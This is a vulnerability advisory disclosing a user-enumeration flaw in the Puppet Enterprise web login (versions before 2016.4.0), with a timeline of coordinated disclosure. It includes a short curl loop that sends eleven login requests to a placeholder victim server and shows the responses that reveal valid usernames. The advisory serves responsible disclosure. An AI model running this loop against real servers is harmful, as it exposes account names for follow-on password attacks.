Puppet Enterprise Web Interface User Enumeration

[apparitionsec () gmail com]

[+] Credits: John Page aka hyp3rlinx    

[+] Website: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/PUPPET-USER-ENUMERATION.txt

[+] ISR: ApparitionSec



Vendor:
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www.puppet.com



Product:
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Puppet Enterprise Web Interface

Tested in version < 2016.4.0

Puppet Enterprise is the leading platform for automatically delivering, operating and securing your infrastructure.



Vulnerability Type:
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User Enumeration



CVE Reference:
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N/A



Vulnerability Details:
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By sending remote HTTP request to Puppet Enterprise Web Interface it is possible to enumerate valid user account names 
by sending more than 10 requests.
If user does not exist we will continue to get  'Authentication failed.' HTTP response from the victim server. However, 
if the user does exist we
will no longer receive such a message confirming the user exists. 



Exploit code(s):
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Send login request 11 times, after 10 we will know if user exists or not.

FOR /l %i in (1,1,11) DO curl -k  https://victim-puppet-server/auth/login?redirect=Enum-Users  -d username=IDONTEXIST 
-d password=1

HTTP 200 OK
'Authentication failed.'

FOR /l %i in (1,1,11) DO curl -k  https://victim-puppet-server/auth/login?redirect=Enum-Users -d username=BOZO -d 
password=1 

HTTP 200 OK



Disclosure Timeline:
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Vendor Notification:  August 23, 2016
Vendor Acknowledgement: August 23, 2016
Vendor Releases Version: 2016.4.0
October 17, 2016  : Public Disclosure




Severity Level:
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Low



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